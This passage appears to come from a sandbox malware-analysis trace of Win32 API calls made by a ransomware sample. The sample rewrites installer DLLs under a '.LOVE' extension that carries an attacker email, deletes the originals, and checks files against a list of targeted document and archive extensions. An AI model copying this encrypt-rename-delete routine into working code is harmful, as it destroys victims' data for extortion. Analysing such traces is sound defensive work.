(lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0195.206] GetLastError () returned 0x0 [0195.206] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4358, lpOverlapped=0x0) returned 1 [0195.213] WriteFile (in: hFile=0x2cc, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4360, lpOverlapped=0x0) returned 1 [0195.214] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.214] WriteFile (in: hFile=0x2cc, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.215] SetEndOfFile (hFile=0x2cc) returned 1 [0195.215] CloseHandle (hObject=0x2cc) returned 1 [0195.216] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.216] SetEndOfFile (hFile=0x2c8) returned 1 [0195.217] CloseHandle (hObject=0x2c8) returned 1 [0195.217] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.217] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0195.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.217] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.217] lstrlenW (lpString=".doc") returned 4 [0195.217] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.217] lstrlenW (lpString=".docx") returned 5 [0195.217] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.217] lstrlenW (lpString=".pdf") returned 4 [0195.217] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString=".xls") returned 4 [0195.218] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString=".xlsx") returned 5 [0195.218] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.218] lstrlenW (lpString=".ppt") returned 4 [0195.218] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString=".zip") returned 4 [0195.218] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString=".rar") returned 4 [0195.218] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString=".bz2") returned 4 [0195.218] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.218] lstrlenW (lpString=".7z") returned 3 [0195.218] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString=".dbf") returned 4 [0195.218] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString=".1cd") returned 4 [0195.218] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString=".jpg") returned 4 [0195.218] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.218] lstrlenW (lpString=".doc") returned 4 [0195.218] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.218] lstrlenW (lpString=".docx") returned 5 [0195.219] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.219] lstrlenW (lpString=".pdf") returned 4 [0195.219] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.219] lstrlenW (lpString=".xls") returned 4 [0195.219] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.219] lstrlenW (lpString=".xlsx") returned 5 [0195.219] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.219] lstrlenW (lpString=".ppt") returned 4 [0195.219] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.219] lstrlenW (lpString=".zip") returned 4 [0195.219] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.219] lstrlenW (lpString=".rar") returned 4 [0195.219] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.219] lstrlenW (lpString=".bz2") returned 4 [0195.219] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.219] lstrlenW (lpString=".7z") returned 3 [0195.219] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.219] lstrlenW (lpString=".dbf") returned 4 [0195.219] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.219] lstrlenW (lpString=".1cd") returned 4 [0195.219] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.219] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0195.219] lstrlenW (lpString=".jpg") returned 4 [0195.219] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.220] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.220] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.220] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18264) returned 1 [0195.220] CloseHandle (hObject=0x2c8) returned 1 [0195.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 0x80 [0195.220] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.220] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.220] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.220] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0195.341] GetLastError () returned 0x0 [0195.341] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.446] WriteFile (in: hFile=0x2e4, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.448] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.448] WriteFile (in: hFile=0x2e4, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.448] SetEndOfFile (hFile=0x2e4) returned 1 [0195.448] CloseHandle (hObject=0x2e4) returned 1 [0195.449] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.449] SetEndOfFile (hFile=0x2c8) returned 1 [0195.450] CloseHandle (hObject=0x2c8) returned 1 [0195.450] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.450] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0195.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.451] lstrlenW (lpString=".doc") returned 4 [0195.451] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString=".docx") returned 5 [0195.451] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.451] lstrlenW (lpString=".pdf") returned 4 [0195.451] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString=".xls") returned 4 [0195.451] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString=".xlsx") returned 5 [0195.451] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.451] lstrlenW (lpString=".ppt") returned 4 [0195.451] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.451] lstrlenW (lpString=".zip") returned 4 [0195.451] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString=".rar") returned 4 [0195.451] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.451] lstrlenW (lpString=".bz2") returned 4 [0195.451] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.451] lstrlenW (lpString=".7z") returned 3 [0195.451] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.451] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.451] lstrlenW (lpString=".dbf") returned 4 [0195.451] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.452] lstrlenW (lpString=".1cd") returned 4 [0195.452] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.452] lstrlenW (lpString=".jpg") returned 4 [0195.452] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.452] lstrlenW (lpString=".doc") returned 4 [0195.452] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString=".docx") returned 5 [0195.452] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.452] lstrlenW (lpString=".pdf") returned 4 [0195.452] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString=".xls") returned 4 [0195.452] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString=".xlsx") returned 5 [0195.452] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.452] lstrlenW (lpString=".ppt") returned 4 [0195.452] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.452] lstrlenW (lpString=".zip") returned 4 [0195.452] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString=".rar") returned 4 [0195.452] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.452] lstrlenW (lpString=".bz2") returned 4 [0195.453] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.453] lstrlenW (lpString=".7z") returned 3 [0195.453] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.453] lstrlenW (lpString=".dbf") returned 4 [0195.453] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.453] lstrlenW (lpString=".1cd") returned 4 [0195.453] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.453] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0195.453] lstrlenW (lpString=".jpg") returned 4 [0195.453] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.453] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.453] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.453] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.454] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18776) returned 1 [0195.454] CloseHandle (hObject=0x2c8) returned 1 [0195.454] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 0x80 [0195.454] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.454] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0195.455] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.455] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.455] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0195.541] GetLastError () returned 0x0 [0195.541] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x4958, lpOverlapped=0x0) returned 1 [0195.574] WriteFile (in: hFile=0x304, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x4960, lpOverlapped=0x0) returned 1 [0195.576] ReadFile (in: hFile=0x2c8, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.576] WriteFile (in: hFile=0x304, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.576] SetEndOfFile (hFile=0x304) returned 1 [0195.615] CloseHandle (hObject=0x304) returned 1 [0195.632] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.632] SetEndOfFile (hFile=0x2c8) returned 1 [0195.633] CloseHandle (hObject=0x2c8) returned 1 [0195.633] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.633] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll")) returned 1 [0195.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.644] lstrlenW (lpString=".doc") returned 4 [0195.644] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString=".docx") returned 5 [0195.644] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.644] lstrlenW (lpString=".pdf") returned 4 [0195.644] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString=".xls") returned 4 [0195.644] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString=".xlsx") returned 5 [0195.644] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.644] lstrlenW (lpString=".ppt") returned 4 [0195.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.644] lstrlenW (lpString=".zip") returned 4 [0195.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString=".rar") returned 4 [0195.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.644] lstrlenW (lpString=".bz2") returned 4 [0195.645] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.645] lstrlenW (lpString=".7z") returned 3 [0195.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString=".dbf") returned 4 [0195.645] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString=".1cd") returned 4 [0195.645] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString=".jpg") returned 4 [0195.645] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString=".doc") returned 4 [0195.645] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.645] lstrlenW (lpString=".docx") returned 5 [0195.645] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.645] lstrlenW (lpString=".pdf") returned 4 [0195.645] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.645] lstrlenW (lpString=".xls") returned 4 [0195.645] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.645] lstrlenW (lpString=".xlsx") returned 5 [0195.645] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.645] lstrlenW (lpString=".ppt") returned 4 [0195.645] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.645] lstrlenW (lpString=".zip") returned 4 [0195.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.646] lstrlenW (lpString=".rar") returned 4 [0195.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.646] lstrlenW (lpString=".bz2") returned 4 [0195.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.646] lstrlenW (lpString=".7z") returned 3 [0195.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.646] lstrlenW (lpString=".dbf") returned 4 [0195.646] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.646] lstrlenW (lpString=".1cd") returned 4 [0195.646] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\SetupResources.dll") returned 45 [0195.646] lstrlenW (lpString=".jpg") returned 4 [0195.646] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.646] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.646] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.646] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.646] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=15192) returned 1 [0195.647] CloseHandle (hObject=0x2e0) returned 1 [0195.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0195.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0195.647] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.647] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.680] GetLastError () returned 0x0 [0195.680] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x3b58, lpOverlapped=0x0) returned 1 [0195.756] WriteFile (in: hFile=0x2fc, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x3b60, lpOverlapped=0x0) returned 1 [0195.757] ReadFile (in: hFile=0x2e0, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0195.757] WriteFile (in: hFile=0x2fc, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.757] SetEndOfFile (hFile=0x2fc) returned 1 [0195.757] CloseHandle (hObject=0x2fc) returned 1 [0195.758] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0195.758] SetEndOfFile (hFile=0x2e0) returned 1 [0195.758] CloseHandle (hObject=0x2e0) returned 1 [0195.759] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.759] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0195.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.759] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0195.759] lstrlenW (lpString=".doc") returned 4 [0195.759] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.759] lstrlenW (lpString=".docx") returned 5 [0195.759] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.759] lstrlenW (lpString=".pdf") returned 